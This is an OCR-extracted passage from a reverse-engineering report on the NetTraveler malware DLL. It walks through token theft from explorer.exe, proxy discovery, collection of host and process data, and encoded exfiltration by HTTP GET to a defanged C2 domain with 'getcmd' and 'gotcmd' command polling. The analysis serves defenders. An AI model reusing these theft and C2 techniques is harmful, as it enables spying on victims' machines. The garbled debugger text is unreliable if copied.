| 10001541 FF 75 OC push dword ptr ss:|[febp+CJj [ebp+C]: "EXPLORER.EXE"
! 10001544 ~ EB DO jmp fastuserswitchingcompatibilityex.10001576
I L---»@| 10001546 FF B5S DC FE FF FF push dword ptr ss:[lebp-124]
1 & 100015AC &4 DO push o
! ®( 100015AE &8 00 04 00 0O push 400
EIP e > FF 15 50 90 00 10 call dword ptr dS:L(&DDE_I;IPI"OCESS)]
\j’ ® e >
dword ptr [10009050 <fastuserswitchingcompatibilityex.&0penProcess>]=<kernel3z.0penProcess>
.text: 10001583 fastuserswitchingcompatibilityex.dl11:$1583 #9B3
Woump1  @pump2  @Dump3  WWoump4  @oumps @ watch1  brellocals P stilich fooaneT DDDDDDDD
address | Hex [ascIz I PSR REnCE | DOoCONED
Figure 47
H ’ H “* ” b H H
Basically the attacker’s purpose is to steal “explorer.exe” process’ token by calling OpenProcessToken in
H o * ” H
order to open the access token associated with “explorer.exe” and then it uses ImpersonateLoggedOnUser
function to impersonate the security context of a user. The function calls are displayed in figure 48 and
figure 49, respectively.
i 1 # || L00015E9 FF 75 08 push dword ptr ss:[lebp+sl
! & | 100015BC BB FO mov esi,eax
1 ®( 100015BE &8 FF 01 OF 00 push FOL1FF
i ®|( 100015C3 56 push esi
EIP e FF 15 2C 90 00 10 l:x“ Mrd ptr ds: [<&0penProcessToken>]
. >
dword ptr [1000902C <fastuserswitchingcompatibilityex.&0penProcessToken:>]=<advapi3l2.0OpenProcessToken:>
.text:100015C4 Tastuserswitchingcompatibilityex.d11: $15C4 #9C4
3 D00002FC
Woump1  WWpump2z  @WDump3  EUDump4  @lDumps @ watch1 | beellocaks 2 stk Fﬂpc[)c_‘ I O00FOLFE
[Address [hex lascIz I PaleaEeBes (| ODILESIC
Figure 48
I i ®| 10005F51 FF 75 EO push dword ptr ss:[febp-200
Eg— ds: ImpersonatelLoggedonUsers] W

FF 15 10 90 00 10

dword ptr [10009010 <fastuserswitchingcompatibilityex.&ImpersonateloggedonUser:>]=<advapi32.ImpersonateLoggedonUser:

.text:10005F54 fastuserswitchingcompatibilityex.d11:$5F54 #5354

A P 1 [ T [ [T — [ — B vhiaets Tt e 9 cod. [EEEEFTI[ 00000300

Figure 49
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The process is using RegOpenKeyEXxA to open
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings” registry key and
then it extracts “ProxyEnable” value to see if the computer uses a proxy server:

. 50 push eax
M 68 19 00 02 00 push 20019
. 57 push edi
L] 68 50 BD 00 10 Qusr‘ = ngcompatibilityex. 10008050 10008050: "software',\Microsoft' \Wwindows'\CL
. 68 01 00 0O 80
FE— FF 15 08 90 00 10 u1‘| chnard utr 1 [cmeqoperlKeyExA:J
. 8D 45 F4 Tea eax,dword p [ a |
® €7 45 F4 04 00 00 0O mov dword ptr 5.': = :
- 50 push esax
. 8D 45 EC Tea eax,dword ptr ss:[febp-14]
. 50 push ecx
. 57 push edi
- 87 push edi
. 88 30 04 90 00 10 mov edi, d.mrd ptr ds: caaegquzryva'iuezx»j
. 65 44 BD 00 10 push fas igcompatibilityex. 10008044 10008D44: "ProxyEnable
. FF 75 FO push dnclrd pt i!
. FE D7 _ call edi e 5
*le >
edi=0
.Text:100061E6 Tastuserswitchingcompatibilityex.d11:$61E6 #55E6
&% Dump 1 % Dump 2 #'% Dump 3 Peoumps  Poumps & watch1 Heiheoc “softwar e\ \Microsoft\windows\\Currentversion\\Internet Settings"
Address |nex }Asc:u e
O04FCF14 |01 J 00 00|00 00 00 00|00 O0 00 00|00 OO0 OO0 DOJE......cvucuus s
ﬂf\.lFfF?.llu-l T W nninn e WL AN N O 0l |f.|| NN NN AN nn 4 || O4FFaZC

Figure 50

Also same function is used to get the “ProxyServer” (hostnames/IPs of the proxy server on the network) and
“ProxyOverride” (hostnames/IPs that bypass the proxy server) values from the same registry key. The
extraction of “ProxyServer” value is shown below:

o|| 100061F2 S0 push eax
. } 1F3 8D B85 DB F6 FF FF Tea eax,dword ptr ss:[febp-325]
.| 50 push eax
Ld | 64 00 push
L] C B6A 00 push
&| 100061FE 65 38 BD 00 10 push fastuserswit 1ityex. 1000BD38 1000BD38: "ProxyServer
o 10006203 FF 75 FO push mrd pr_r 55 [cl:n
T s Ll 1010016206 | FF D7 uﬂ . |edi:RegiueryValueExa
el ERSE TS e T T -
| *le >

edi=<advapi3z.RegAueryvalueExA> (7760FADD)

. Text: 10006206 fastuserswitchingcompatibilityex.dl1:56206 #5606

@Woumpt  @Yoump2 Ehoump3  WiDump4  WhDumps @ watchi | bellocals & Struct N _— “Proxyserver®

Address | ex | ascrz I * 1 56000000
DO4FCF14 0% 00 00 00|00 00 00 OO[(D0 00 00 00|00 00 DD OO[ M. . vereesnsennns O04FEB14
OENFCFE’J 00 n1 1r r1 '| 'm r|1 1r 00 00 1r| r1 00 00 00 -1r-| ................ 4 | oo4FF430
Figure 51

As in the first method, the attacker verifies if he’s able to connect to the same URL using the proxy settings
he found in the registry. If the connection is successful it will append the content of that page to the .log file
together with some new parameters:

85  SASSSIFAT ARSI R AT i i i i i rirsriririririliirds

a5

;'i method 3:

=== Figure 52
102 ProxyIP:

103 ProxyBypass:

104 OUser:

105 Pass:

106  <Response from the server>

Also, because the method works, the malicious process modifies the config_t.dat file by setting UP=1,
PF=10 and then PS (proxy server), PP (proxy port) PU (proxy user), PW (proxy password) are set

isn’t successful.

If all methods fail, the infection will stop and the following operations are performed (self-deleting malware):
“‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Enum”,
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Parameters”,
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“‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Security”
and “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility”
registry keys are deleted using RegDeleteKeyA function. The following files are deleted as well:
“C:\WINDOWS\system32\enumfs.ini”, “C:\WINDOWS\system32\dnlist.ini”,
“C:\WINDOWS\system32\udidx.ini”, “C:\WINDOWS\system32\uenumfs.ini” and
“C:\WINDOWS\system32\stat_t.ini” (some of them don’t exist at this time).

If one of the methods enumerated above works, the malicious process sleeps for 60 seconds and then
creates another thread that we’ll call Thread1 , sleeps another 10 seconds, and creates Thread2. The main
thread will enter into an infinite loop until the variable found at 0x100163E8 (absolute address) is set to 3:

Ltext:18881096 push esi ; dwstacksize
Ltext:18881097 push esi 3 lpThreadAttributes
Ltext:18881D98 call edi ; CreateThread
Ltext:18688109A mov dword_18817874, eax
| X
lall s (5]
Ltext:18881D9F
.text:1808109F loc_1@@81D3F: 3 dwMilliseconds
.text:1888109F push 186
Ltext:188010A1 call ebp ; Sleep
Ltext:188810A3 mov eax, dword_l@@163ES
Ltext:18881DAE cmp eax, 3
.text:188010AB jz short loc_l18@&81DB2
 J . J .
= I Figure 53
:18@81055 call sub_leaesals Ltext:108010AD cmp eax, 1
118881054 jmp short loc_18881DB2 .text:188810B8 jnz short loc_18881D3F
\ 1 L lJv L
a =
t:1ee8lDB2
tt:188810B2 loc_18881DB2:
18861082 pop edi
tt:1e8a1DB3 pop esi
18881084 pop ebp
£:18881DB5 retn 8
th:18881DB5 ServiceMain endp
£: 18881065

Thread1 activity

Firstly the thread retrieves the volume serial number (“A2C9-AD2F”) associated with “C:\” directory using
GetVolumelnformationA function. This number will be used as a host id in the communication with the C2
server as we will see later on. Also it uses GetComputerNameA API to find the NETBIOS name of the
computer, GetUserNameA API to find the username associated with the current thread, gethostname API to
retrieve the host name for the computer and gethostbyname/inet_ntoa functions to print the IP address of
the computer:
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I EER RN R R ¥ ]

LTS 120

10003145
10003147
10003149
10003148
1000314E
10003151
10003153
10003155

10003150
1000315E
10003163
10002166
1000316C
1000316F

<

08
34

08
38

oc
o0&

92

92
00
91

00

(u]u]

00

a0
10
00

a0

10

10

10

pusn awora pTr ss:Eenpily

push dword ptr ss:|febp+s)

€811 dword ptr ds:[<&gethostname:]

test eax,eax

jne Fastuserswitchingcompatibilityex.10003183
push dword ptr ss:|[febp+slf

€811 dword ptr ds: [<&gethostbyname:>]

mov edi,eax

cmp edi,esi

je fastuserswitchingcompatibilityex.10003183
mov eax,dword ptr ds:[edi+C]

mov eax,dword ptr ds:[esi+eax]

test eax,eax

je Fastuserswitchingcompatibilityex.100031583
push dword ptr ds:[eax]

€31l dword ptr ds:[<&inet_ntoa>]

push eax

push fastuserswitchingcompatibilityex.1000B1A4
push dword ptr ss;[lebp+10]

€8l dword ptr ds:[<&sprintf=]

push dword ptr ss:|[lebp+10]

€81 <fastuserswitchingcompatibilityex.strlen>

edi:CreateThread
edi:CreateThread

1000B1A4: "%s"

R
dword ptr [1000923C <fastuserswitchingcompatibilityex.&inet_ntoa>]=<ws2_32.1inet_ntoa>

.text:10003157 Fastuserswitchingcompatibilityex.d11:%$3157 #2557

@dDump 1 G4 pump 2

4 Dump 3

B4 Dump 4

@4 Dump 5

Address | Hex

ASCII

10016504 | 44 45 53 4B

54 4F 50 2D

100164F 4|31 39 32 2E|31 36 38 2E

Figure 54

pTr

astuser

31 o0
32 00

One more time the “ProductType” value from
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions” registry key is retrieved as
shown in figure 55:

o1

4
02 00
15

45 DC

85 50 FE FF FF

75 FC

00

00 80

15 04 90 00 10

Tchingcompat

Tyex. Regopenk eyExs

push

push
push
push

push
push
push
push

.text:1000545E fastuserswitchingcompatibilityex.d11:$545E #485E

push 1

call dwor
lea eax,dword ptr ss5:[febp-24]
ush ea:

X
ea eax,dword ptr ss:
eax
ebx
ebx

push dwol
SR cword

292.168.1
DESKTOP-2|

ean eax: "bg”
éhl

fas hingcompatibi 11Tyex. 10008845 10008848:
800

ptr ds: [<&RegOpenkeyExA=]

Eebp-1&

hp '
fﬁeggutryvn'luﬁw]

—d|
= ¢ 10016504 | fastuserswitchingcompatibilityex. 10016504
@ watch 1 | Ix=lLocals 4 P4[G0RFFIoC | n0CDO104 |

SYSTEM\\CurrentControlSet\\Contr

DU\ WINDOWS' \ sysTem32' \sysTem_t.

C:"ProductType

X8Tr7T

x87Tay
MBTTH.
XETTH,
WETTH,
XBTTW,

%BTSTI
XB7SW,
XBTSW,

32.RegOpenkeyExA>

5 80000002
@Woump1 Goump2  PPoump3  Poumpd  ENoumps B wachi  bellocls @ Stuct 10008848
Address | Hex | ascIx T i~ 00000000
- —— 1 ' 00000001

DOBFF26C 94 00 00 o & 00 00 00102 00 00 DOlFG 23 00 OOl..;.........B‘.. DOBEEZ44 | .

Figure 55

The malicious process enumerates the available disks drives and it’s interested in type 3 drives
(DRIVE_FIXED) as shown in the screenshot below:

"SYSTEM\\CurrentControlset\\Control\\Productoptions™

18/34



text:
Eext:
bext:
text:
Eext:
bext:
bext:

1eaa5636
1888563E
laaas64l
leea5644
1aaa564A4
laaas64C
laaa564F

mov
Mo
mov
call
cmp
mov
jz

dword ptr [ebp+var _C+4], ebx
dword ptr [ebp+var_18], ebx
dword ptr [ebp+var_18+4], ebx
ds:GetLogicalDrives

eax, ehx

[ebp+cbData], eax
loc_10865957

M
Ltext: 18885655 mov

[ebp+phkResult], ebx

X

il e =

Lext:1eBa5658

Ltext:18885658 mov BAX,
Ltext: 18885658 mowv BCX,
Ltext:18@B565E shr Bax,
Ltext:1eeBs5668 cmp 2ax,

text:1e885662 jz shor

Ltext 108605658 loc_10@@5658:

[ebp+cbData]
[ebp+phkResult]
cl

ebx
t loc_1@@856CH

[l s 55

text:1e885664 test
.text:18885666 jz

al, 1
short loc_18@856C2

! Y
FEIE
Ltext: 18885668 mov al, cl
Ltext: 10885664 mov [ebp+var_33], 38h ; "'
.text:188B566E add al, 41h ; A"

Ltext: 18885678 mov
Ldext: 18885674 mov
text: 18885677 lea
.text:18885674 push
LLext: 18885678 mov
.text:1888567E call
Jtext:18885684 cmp
.text:18885687 jnz

[ebptvar_32], 5Ch ; "\’
[ebp+RootPathName], al

eax, [ebp+RoctPathName]

eax ; lpRootPathName
[ebpt+var_31], bl
ds:GetDriveTyped

eax, 3

RegOpenKeyExA APl is utilized to open
“HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0” registry key and then
RegQueryValueEx is used to retrieve “Vendorldentifier”, “Identifier” and “~MHz” values:

short loc_le@as56C2

Figure 56
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20 01 XB87r7
A
f-,i atibi1ftyex. 10008908 10008908 “HARDWARE ', \DESCRIPTION' \Syst c AgTa
hingcompatibilityex. 10008908 000B308: YWARE"\DESC ONY '\ System\\C:
68 02 00 00 80 | il
FF 15 08 90 00 10 | E&TY dwor [cmeq:penuyzw] ol
8D 45 FO | Tea eax,dword ptr ss:[ebp-10§ o
50 | push eax x87TW
8D 85 AO FE FF FF | 1ea eax,dword ptr =s:[febp-160§
i ] | push eax XBTST
§3 | push ebx xBTS
53 .nusﬂ ehx XETSH
68 C4 B9 00 10 | push fastuserswit -"_3:;":.1-.'&--. Tityex.1D0089C4 100089C4: "Vendor Identifier XETSH
FF 75 E4 | push dword ptr ebp-1C
FF 15 04 90 00 10 |'€all dword ptr ds: [ <sRegaueryvaluesxas]
tchinpcompatibi 11 tyex. SReguer yVaTueExA>] ap132.RegaueryvalueExas
+ TEXT: 10005707 | \'as(user5N1((n1r|ucomna(1mh(yex.u'l'l:55707 #48D7

MD\HI!DI B-Ubuwi Mnuw-ﬂ 4% Dump 5 @ watch 1 =l Locals & swuct

- _"_ﬁscn 1
0[00 00 00 00[00 0O 0O 00 |GPUS vooanrasene
lannn.an andan anonan o
50 Dush ean
B0 85 AD FE FF FF lea eax,dword ptr ss:febp-1&0]
50 push ea\
53 push ebx
53 push ebx
68 B4 B9 00 10 push fastuse ir tib111tyex. 10008984 10008984: "Identifier"
! A FF 75 E4 push dword p
E— FF 15 04 90 00 10 €all dword ptr ds megqucrrvﬂuesw]
.I < >
ptr [10009004 <fastuserswitchingcompat Tyex.dRegqueryvalueExa>]=<advapi3z.RegQueryvalueExa>
.Text: 10005820 fastuserswitchingcompatibilityex.d11:$582D #4C2D
: - KIS 000003C4
%% Dump 1 &% Dump 2 % Dump 3 2% Dump 4 2% Dump 5 & watch 1 Ie=] Locals &' Struct 10008984 | “Identifier”
Address | Hex ASCIX | 7Y b bomalelsletoli

DOBFF1ES 00X 00 00 00|00 00 D0 00000000

OOBFF1FS| 00 0O 00 00|00 00 00

JODCIU 00 JUU 00 00 DD (8. cvvosvnnemnnnan
| ) 00 00|00 0D 00 O DOBFF1E8
win et 3C | OOBFF338

push eax

45 C8 lea eax,dword ptr ss:febp-35]
C push eax
push ebx

3
AC B9 00 10 push Tastusersw ingcompatibi 1ityex. 1000B9AC 1000B9AC : "~MHz "
75 E4 push dword DEI‘

set cll
FF 15 04 90 00 10 €all dword ptr ﬂsEEmeQQuerwalueEw] |

dword ptr (10009004 <fastuserswitchingcompatibilityex.dRegqueryvalueExA>]=<advapisz.ReglueryvalusExas

- TEXT: 10005865 Tastuserswitchingcompatibilityex.d11:55865 #4C65

; 9 [EEEESEE] 000003C4
% Dump 1 WS0ump?2 WDump3 B Dump4 §% Dump 5 @ watch 1 |*=| Locals g Struct 1000BIAL | "~MHz "
Hootionalta s l socose
10016DBS ['43] 50 55 3A (2 €PU: AuThent1cAM OOBFF310
10016DCB| 44 20 41 4D |44 36 34 20|46 61 6D 63|6C 79 20 32 |D AMDG4 Family 2 ol it
tnntennel 33 3n an eeles e er 3nl33 34 an £3l7a ez 7 003 wadal 2a eraen BFF338

Figure 57

The process uses GlobalMemoryStatus function to get information about system’s usage of physical and
virtual memory. All the information extracted so far will be stored in a new file called
“C:\Windows\SysWOW64\system_t.dIlI” in order to exfiltrate it. All translations from chinese to english are
provided to better understand the content of the file: “41E#{5E” translates to “computer information”, “I1&
#” translates to “computer”, “FI 742" translates to username, “Ipihilt” translates to “Ip address”, “}E{ERSL”
translates to “operating system”, “H# Z5/8]” translates to “disk space”, “ B2 Z5[8] 4 translates to “The
total disk space is”, “Fl|4Hi4EE 28] 4" translates to “The remaining disk space is”, “t5” translates to “take
up”, “UNIENTE" translates to “physical memory”, “S#IRNTE” translates to “Total physical memory” and “B]
FANTE translates to “Available memory”:

Esystan t.dll 3 |
[T HE =]

ﬁ'ﬁm. DESK'I‘OP—Z_
HFs: IR

b =

3

4 1pihit: 192.168.164.128 .

s 3B{EFE: Professional, (Build 9200) Figure 58
6

BEETEE: REETEEN 7ocE, BlARBEITEENz0ce (G25.32%)
CPU: buthenticiMD AMDE4 Family 23 Model 24 Stepping 1 Z09&MHZ

IR TE: SiIEMTF zoaTus, DJFHMF:1364MB ((He6.67%)

3w o

A list of processes is retrieved using Process32First and Process32Next APIs as shown below:
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Figure 59
After the operation is complete and the malware obtains the list of processes, it will be appended to

BD BS CB FC FF FF
68 58 BC 00 10

FF 15 70 00 10

8D 85 F4 FE FF FF

8D B5 F4 FE FF FF

BD B5 CC FD FF FF

push

test

push

push

push

push
call

push

push dword ptr
call

lea eax,dword pir s
push dword ptr

lea eax,dword ptr
push 1

eax

ss:febp- 4]
<fastuserswitchingcompatibilityex.Process32Firsts
2ax , eax

je fastuserswitchingcompatibilityex.l0005AEE
push 104
lea eax,dword ptr ss:[febp-10C]

i}

push eax
CETY <fastuserswitchingcompatibilityex.memsets
add esp,C

Tea eax,dword ptr s

eax

fastuserswitc

add esp,18

mov dword ptr ss;:febp-5j,eax

test eax,eax

je fastuserswitchingcompatibilityex.10005AEA
ea eax,dword ptr ss:[febp-10C]

push eax

CETl <fastuserswitchingcompatibilityex.strien=

push dword ptr ss:febp-s§

eax
55 :febp-10C]

eax
edi

push dword ptr ss:{febp-5])
[ ebx

add esp,1s
lea eax,dword ptr ss:[febp-234]

eax

|g:§;| dword ptr ss:ebp-4l

<fastuserswitchingcompatibilityex.Process3znext>i|

system_t.dll (“HFEFIFK” translates to “Process list”):

N
[ &% I =

|=
-1 bW

I
[Nalei]

=] o b W D

[Yalr=:]

L% T S T O IO % N I S O T % T % T % I % T o)

Lo Lo L L L
(T B = = R I I 5 B Y o B ]

Y T A Y S S 1]
[N

S
ok Ll

46

EESIFE)

Q

4
500
604
a72
684
732
796
g04
584
goz
|00
980
it
576
1044
1060
1076
1200
1292
1444
1452
1544
1552
1636
1712
1776
2028
2080
2096
2112
2136
2164
2220
2244

[Svstem Process]
System

Smss.cxe
CSL3S.EXe
wininit.exe
CSr35.cHe
winlogon.exe
services.exe
lsass.exe
svchost.exe
fontdrvhost.exe
fontdrvhost.exe
svchost.exe

dwm. exe
svchost.exe
svchost.exe
svchost .exe
swvchost.exe
svchost .exe
Memory Compression
svchost.exe
svchost.exe
svchost.exe
svchost .exe
swvchost.exe
svchost.exe
spoolsv.exe
WmiPrvSE.exe
AImMSVC.eXe
svchost.exe
diskpls.exe
dupscts.exe
IpCverUsbSve.exe
TenorshareWinAdService.exe
VEAuthService.exe

Figure 60

1000BC4C: "%4d Hs\r

esi:sprintf

1000BCS 8: "ab™

edi:fwrite

ebx:fclose

n

The next step is to create a pipe using CreatePipe API . This will be used as an inter-process

communication mechanism. It will create a new process “ipconfig /all” which displays the full TCP/IP
configuration for all adapters and the output will be transmitted back to the original process through pipes:
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L] S0 push eax eax: "ipconfig /all”™
. BD BS 7C FF FF FF Tea eax,dword ptr ss:ebp-54]
L] 50 push eax eax:"ipconfig /all
. 57 push edi
. 57 push edi
. 57 push edi
L] 56 push esi
. 57 push edi
. 8D 45 CO lea eax,dword ptr ss:[febp-40]
. 57 push edi
. 50 push eax eax: "ipconfig /fall
. 57 push edi
g FF 15 DO 90 00 10 | €alT dword ptr ds:[<&CreateProcessa>] |
. iy ES—— e et e

dword PEr [100090D0 <FastuserswiTchingcompatibilityex.EtreateProcesshs]=ckerneldz, CreateProcessis

.Text: 10005888 Tastuserswitchingcompatibilityex.d11:$58B8 #4FBS

o 00000000
S Cump 1 Y5 Dump 2 Woump3 Woump4  Bhoumps @ watch1  beellocals ¢ Struct - | DDBFF308 | "ipconfig /all”
Address | Hex ASCII | SR

ODBFF33C co 03 00 DO[0S 38 EC 7A[CS 03 00 0080 F7 BF 00 |
ODBFF34C 00 00 00 00|00 00 00 00|....
DOBFF35C ELD.LE.I._LI

QO0BFF36C |00 00 00 OC
00BFF37C|00 00 00 00|00 O
DOBFF38C | 00 1 i

nnoeezar | na

Figure 61
The output of the ipconfig process is saved to system_t.dll as shown in the figure below:

BYZE....%i.
*EZV.ccanann

€0 D9 F1 00(D0 00 EF 00
3(00 00 0O 00|00 DO 00 00...
0|6A 00 08 40|00 00 0O 0O

D 00 00 00|( 00 00 00
nlam an an nnlan An An an

00000000
00000000
D0BFF2C4
DOBFF328

27 EmA
Windows IP Configuration

0 O
Tale:]

[T R ¢

o
Mo O

Host Name : pesxror-z G
Primary Dns Sufflx

Node Type e A e e ey 2 HYEEE!
IP Routing Enabled P S G el KA T L 8, [

w

uw

54 WIHS Proxy Enabled. . . . . . . . : Ko

55 DNS Suffix Search List. localdomain

56

ST Ethernet adapter EthernetO:

_q_

=5 Connection-specific DNS Suffix localdomain

100 Description H Intel (R} 82574L Gigabit Network Connection
101 Physical Address. 00-0C-25-25-66-15

102 DHCP Enabled. Yes

103 Autoconfiguration Enabled Yes

104 Link-local IPve Address feB0::bld6:3a45:caSe:9%beeit (Preferred)
105 IPv4 Address. 192.168.164.128 (Preferred)
106 Subnet Mask 255.255.255.0
107 Lease Obtained. Monday, Hovember 9, 2020 5:16:45 AM
108 Lease Expires Monday, November 23, 2020 &€:11:18 AM
109 Default Gateway
110 DHCP Server 1%2.168.164.254
111 DHCPvE IAID H 33557545
112 DHCPv6& Client DUID. 00-01-00-01-26-RA2-5A-CR-00-0C-29-25-66-15
113 DNS Servers H 1%2.168.164.1
114 HetBIOS over Tcpip. Enabled
Figure 62

The malware checks the UP value from config_t.dat using GetPrivateProfileInt function. According to the
Kaspersky report, the content of system_t.dll file will be compressed using a custom Lempel-Ziv-based
algorithm and encoded with a modified Base64 algorithm. The function responsible for this operation and
the “modified Base64” alphabet is displayed in figure 63:
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100010DF 50 ?"s" Teax
100010E0 BD 45 F4 ea eax,dword ptr s5:[febp-cl
100010E3 50 push eax
10001084 8D 45 FO lea eax,dword ptr ss:[ ebp-10§
100010E7 50 push eax
100010E8 8D 45 FC lea eax,dword ptr ss:[febp-4]
100010EB 50 ush eax
100010EC 6 nc esi
100010ED FF 75 FC push dword ptr ss:[ebp-
100010F0 FF 75 oC push dword ptr ss:febpiC
100010F3 FF 75 08 ush dword ptr ss:febp
astuserswitchingcompatibilityex. 100010000 mm—m5mm
100010FB B3 C4 1C add esp,ic
100010FE| ~ EB CB jmp fastuserswitchingcompatibilityex. 100010CE
10001100 8B C6 mov eax,esi
10001102 A 04 push 2
10001104 99 cdg
10001105 59 pop ecx ecx: "ABCDEFGHI JKLMNOPOR STUVWXYZ abcdefght Jk
10001106 F7 F9 1div ecx ecx: "ABCDEFGHIIKLMNOPOR STUVWXYZ abedefohi jk
10001108 B85 D2 Test edx,edx
100011048 » 74 07 je fastuserswitchingcompatibilityex.10001113
1000110C €6 D4 3E ZA mov byte ptr ds:[esi+edi],z2a i
10001110 46 inc esi
10001111| ~ EB ED jmp fastuserswitchingcompatibilityex.10001100
10001113 8B C&
10001115

.Text: 100010F6 fastuserswitchingcompatibilityex.d11:$10F6 #4F6

¥4 Dump 2 & watch 1

Irellocals 4 Struct

@Yoump3  PSDump4  EWDumps

Figure 63

The encoded data is exfiltrated via a GET request to vipmailru[.Jcom (C2 server). The following parameters
are provided in the URL.: hostid = the serial number of current disk drive, hostname = hostname, hostip = IP
of the machine, filename = “travlerbackinfo-<year>-<month>-<day>-<hour>-<minute>.dll":

Le-ye || LOOD3EED 53 push ebx
10003684 Push E0400100
1000368F 53 push ebx
1000360 push ebx
100036C1 53 push ebx
100036C2 75 FC push dword ptr ss:[febp-43
1000386C5 68 EB B1 00 10 push fastusersmtcm ngr_nm atibilityex. 1000B1ES 1000B1ES: "GET"
h dword ebp+1

100036CA FF 75 10 us|
<aHtTpOpenRequesta=]
10003603
10003605 P Bebp+cll, eax
100036D3 {e fastusersu'itl:h!rncomlt bilityex.100037F1
100036DE ea ecx.duord ptr ss:febp+sj
100036E1
100036E3 push ec:
100036E4 push
100036E6 push eu
100036E 08 &0 EA 00 00 mov dword ptr cs:febp+sl,Eac0

.Text: 100036CD fastuserswitchingcompatibilityex.d11:$36CD #2ACD
§Woump2  @HDump3  GHoumps  WHoumps @ watchi

Ixellocals 4 Struct

00BFD42C
O0BFD430
D0BFD434
ODEFD438
OOBFD43C
O0BFD440 | 00000400
O0BFD444 kernel32.GetProcessHeap
D0BFD44E | 00000000
OOBFD44C
DO0BFD450
DOBFD454
DOBFD458
DOBFD45C
DOBFDA4G0
00BFD464
O0BFD468
OOBFD4&C
OOBFD470
00BFD4T4

NNBER 2SS L O]

Flgure 64
If the server response contains “Success:”, the exfiltration was successful. The malicious process also
deletes system_t.dll using DeleteFileA API . It performs another GET request (to the same C2 server) with
the parameters including “action=getcmd” and others which were already explained above:

X¥/IW_Z 5 (EMDTY) X8/ IW_5 5 (EMPTY)
Xx87TW_4 3 (EmpTy) xBITW_S 3 (Empty)
X8TTW_6 3 (EmpTy] X87TW_7 3 (Empty)

x875tatusword 0000
XG75W_B 0 xBTSW C3 0 xB7SWC2 O
XBTSW.C1 0 xBTSW_CO O xBTSW_ES O
XBTSW_SF 0 xBTSW_P 0 xBISWU O

“/newsinfo/1int/r w [

push sax
push fastuserswitchingcompatibilityex. 100081E8
dword ptr ss:febp-1

ean: = /newsinfo/ 110t/
1.0003 1E8: "GET"

i

espt4] 100081

dword ptr (10009214 <fastuserswit il 10117 tyex. &kt TA»] inet. HEL E8
esp+r8] ODIZEAAD "!nwﬂwﬂl!untfﬂ(ttrl\rl‘l.r as|
00000000

+TEXT: 10003088 fastuserswitchingcompatibilityex.d11:53088 #3188
WSoump2  Yoump3  WEoumpd4  Eoumps 8 waichi

00000000

0093EAAD | g}
cxso & 20090000
DOBIEACO s
et | 00000000
BEAE! 00930264 | 76524580 | msvert. sprintf
D093EAFD I nnamnsas s7rn Ld

Figure 65

23/34



The result of the query must contain “{CmdBegin]\r\n” at the beginning of the message and “[CmdEnd]\r\n”
at the end of it. The message between the “borders” is saved at “C:\Windows\System32\stat_t.ini” and then
the process performs a GET request (same C2 server) with a modified parameter “action=gotcmd” and
other parameters used before:

x875SW_C2 O

€0 0 x87SW_ES 0O
h dword ptr : e 10§ 0 XB7TSW.U O
a1l dword ptr dsi [<sHttpOperRequestax] . iy 5
mp eax,ebx v
: T % =5 (3]
dword prtr [10009214 <FAStuSErswiteh b9 tyen. 4HT TtA>] + HEERO) £8 “GET"
C "/newsinfo/lint /nettraveler. as
.TEXT: 10003088 Tastuserswitchingcompatibilityex.d11:4$3088 #3188 I

@Wourp1  Plpumpz @Hoump3  WDumpd  EloDumps . E=]
ASCIT Jrewsinfo /1INt /nettr aveler. aspTact ion=gotcmdahost i d=A2C 94D 2Fahost name=pE sk ToR - 2 (R

-.E_ﬁl___ﬁ...::. 73 63 &E 66 6F 2F 31 31 6E 74 2F 6E /newsinfo/lint/n

65 74 74 72|61 &5 65 72 2E €1/73 70 3F 61| ettraveler.asp?a

63 74 &9 GF 6E ]D &7 GF 74 63 6D 64 26 65 &F 73 ctlU"‘-ODtcmdﬂ-ﬂUs
74 69 64 30|41 37 43 3941 44 37 4626 €8 6F 73 tid=A2C34D2Fshos
UD EAFC |74 GE 61 GDIES 3D 44 45|53 4B 5S4 4F |50 20 32 - tname=DESKTOP - ;\.
R [

D093EB0C

Figure 66

As before, if everything works fine the file expects an HTTP response which contains “Success” string. The
process is looking to delete a file called “C:\Windows\SysWOW64\dnlist.ini” which doesn’t exist at this time.
The file will be created and populated with the following data:

C:\Windov ysWOWO4d>type dnlist.ini
[Filelist]
filetotal=0

ScanList]

rcount=0

ScanAll=True

Other]

yvpelLimit=True

arch=True
GSearch=True
UTypelLimit=True
VAuto=False
ypes=doc,docx, x

File stat_t.ini is deleted using DeleteFileA function and then it calls GetACP API which returns the current
Windows ANSI code page identifier for the operating system. Because the value of ScanAll is True in
dnlist.ini, the malware scans for all available disk drives using GetLogicalDrives API and then compares the
type of them with 3 (DRIVE_FIXED) or 4 (DRIVE_REMOTE) using GetDriveTypeA API:
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Ltext:1ee82D2D

.text:18686202D0 loc_ 18882D2D:

.text:1888202D push
.text:1edp2Dp3e call

; lpRootPathName
[ebp+1lpRoctPathName]
ds:GetDriveTyped

Ltext:18882D36 cmp eax, 3
.text:186682039 jz short loc_1@682048
Ll i 5
Lext: 18882036 cmp eax, 4
.text:1888203E jnz short loc_18882D77
\ Y Y
[l e 55
Jtext:18e82D48
Ltext 108602048 loc_leaa2D4a:
Ltext:18882048 push [ebp+1pRootPathName ]
Ltext:18882043 inc [ebp+var_8]
Ltent 18802046 lea eax, [ebpt+str]
Ltext:1888204C push [ebp+var_8]
Ltext:1888204F push offset aDD5 3 Md¥d=%s\n"
Ltext:18882054 push eax ; Dest
Ltext:18882055 call esi ; sprintf
.text:18882057 add esp, 18h
Ltext:1888205A lea eax, [ebp+str]
Ltext:18882068 push ebx 5 Fille
Ltext:18802061 push eax 5 5EF
Ltext: 188682062 call strlen
Jext:18882D67 pop ecx
.text:18882068 push eax ; Count
text:18862069 lea eax, [ebp+str]
Ltext:1888206F push 1 3 Size
Ltext:18882071 push eax 5 SErR
Ltext:18882072 call edi ; fwrite
Ltext: 18862074 add esp, 1@h

Figure 68

Let’s suppose that “C:\” is the first drive found by the process. The file will enumerate all files and directories

